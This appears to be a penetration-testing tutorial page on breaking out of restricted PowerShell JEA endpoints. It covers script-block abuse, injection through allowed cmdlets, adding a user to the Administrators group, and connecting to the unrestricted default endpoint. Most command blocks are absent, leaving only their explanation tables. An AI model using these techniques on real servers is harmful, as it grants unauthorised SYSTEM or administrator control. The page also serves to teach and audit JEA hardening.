JEA Endpoint Escape – Breaking Out of Just Enough Administration
Just Enough Administration (JEA) is a PowerShell remoting configuration that locks a WinRM session to a whitelist of specific commands, typically running as a high-privilege virtual account in the background. The user connects with low or no privileges but the commands they are allowed to run execute as SYSTEM or a service account behind the scenes. A misconfigured JEA endpoint is a direct path to SYSTEM.
Recognising a JEA Session
Connect with evil-winrm as normal. If you land in a JEA endpoint rather than a full shell:
Explain command
| -i $TARGET_IP | Specifies the target IP address to connect to |
| -u $USER | Specifies the username for authentication |
| -p $PASSWORD | Specifies the password for authentication |
The prompt looks normal but most commands fail. The immediate tell:
A full PowerShell session returns hundreds of commands. A JEA session returns a short, curated list — often fewer than 20. Also check:
NoLanguage confirms a JEA session. ConstrainedLanguage may also indicate a restricted endpoint.
Enumerating the JEA Configuration
List every command available to you:
Check for command parameters in detail — parameters are often the attack surface:
Read the session configuration if you can access it:
Check the role capability files if accessible on disk — they define exactly what is permitted:
Explain command
| "C:\Windows\System32\WindowsPowerShell\v1.0\Modules" | Path to search for PowerShell modules in system directory |
| -Recurse | Search subdirectories recursively |
| -Filter "*.psrc" | Filter results to only .psrc files |
| "$env:ProgramFiles\WindowsPowerShell\Modules" | Path to search in Program Files using environment variable |
| -Recurse | Search subdirectories recursively |
| -Filter "*.psrc" | Filter results to only .psrc files |
Role capability files (.psrc) contain VisibleCmdlets, VisibleFunctions, VisibleExternalCommands, and ScriptBlocks entries. Reading one directly reveals exactly what the JEA policy allows.
Technique 1 – Script Block Abuse
If script blocks are permitted in the session configuration, you can define and call arbitrary PowerShell in the context of the underlying high-privilege account:
Explain command
| -ScriptBlock | Specifies a script block containing commands to execute remotely |
| { whoami } | Script block that executes whoami command to display current user |
If this returns a privileged account name (e.g. nt authority\system or a service account), the JEA endpoint is running as that principal. Escalate immediately:
Explain command
| -ScriptBlock | Specifies a PowerShell script block to execute remotely or locally |
| $USER | Variable placeholder for the target username to add to the group |
| /add | Flag to add a user to the specified local group |
| /domain | Flag to perform the operation on a domain account rather than local |
Or get a reverse shell:
Technique 2 – Parameter Injection via Allowed Cmdlets
Many JEA configurations allow helpdesk-style cmdlets that take a Path, FilePath, or ScriptBlock parameter. If any allowed command accepts a file path or script block parameter, inject through it.
Example — if Restart-Service is allowed:
Explain command
| Restart-Service | PowerShell cmdlet to restart a Windows service |
| Get-Command | PowerShell cmdlet to retrieve information about commands |
| Select | PowerShell cmdlet to select object properties or subset of objects |
| -ExpandProperty | Expands the specified property and includes its values in the output |
| Parameters | Property name specifying parameters of the Restart-Service command |
Look for -PassThru, -Confirm, or anything that might trigger a script. Some administrative cmdlets allow -Before or -After script hooks.
If Start-Process is allowed:
Explain command
| -FilePath | Specifies the program to execute |
| cmd.exe | Windows command interpreter executable |
| -ArgumentList | Passes arguments to the executable |
| /c | Carries out command and terminates cmd.exe |
| net localgroup Administrators | Command to manage local administrator group membership |
| $USER | Variable placeholder for username to add to group |
| /add | Adds a user to the specified group |
If Copy-Item is allowed and you can write to a privileged path:
Then trigger execution via any allowed command that runs executables.
Technique 3 – Function Definition Escape
If the JEA endpoint allows defining functions but restricts language mode, try defining a function that wraps a restricted operation:
function Invoke-Escape { whoami }
Invoke-Escape
Some JEA implementations check the top-level command name but not nested script blocks inside permitted functions.
Technique 4 – Connecting to an Unrestricted Endpoint
A server often has multiple WinRM endpoints registered — the default restricted JEA endpoint is configured by name but the default microsoft.powershell endpoint may still exist and accept connections from your account:
List registered endpoints (if Get-PSSessionConfiguration is available):
Connect to the default unrestricted endpoint explicitly:
Explain command
| -i $TARGET_IP | Specifies the target IP address to connect to |
| -u $USER | Specifies the username for authentication |
| -p $PASSWORD | Specifies the password for authentication |
| -e microsoft.powershell | Specifies the PowerShell executable engine to use |
Or with Enter-PSSession specifying the ConfigurationName:
Explain command
| -ComputerName $TARGET_IP | Specifies the remote computer to connect to |
| -Credential $USER | Provides credentials for authentication to the remote host |
| -ConfigurationName "microsoft.powershell" | Specifies the PowerShell configuration/endpoint to use on remote |
If the default endpoint is accessible to your account, it bypasses the JEA restriction entirely.
Technique 5 – Abusing RunAs Virtual Account
JEA endpoints that use RunAsVirtualAccount = $true in their session configuration execute all commands as a local administrator or SYSTEM. If you can identify what the virtual account can do, you can escalate through any permitted command.
Check which account your commands run as:
If the output is nt authority\system or a privileged local account, any command parameter abuse above immediately yields SYSTEM access.
Post-Escape Verification
After escaping, confirm full language mode and privilege:
Load tools from memory:
References
-
Just Enough Administration Overviewlearn.microsoft.com/en-us/powershell/scripting/security/remoting/jea/overview (opens in new tab)
Microsoft Official JEA architecture, role capability file structure, and session configuration documentation.
-
JEA Attack Surfacewww.exploit-db.com/docs/english/41345-jea-attack-surface-research.pdf (opens in new tab)
Exploit-DB Research paper covering JEA escape techniques and misconfiguration patterns.
Was this helpful?
Your feedback helps improve this page.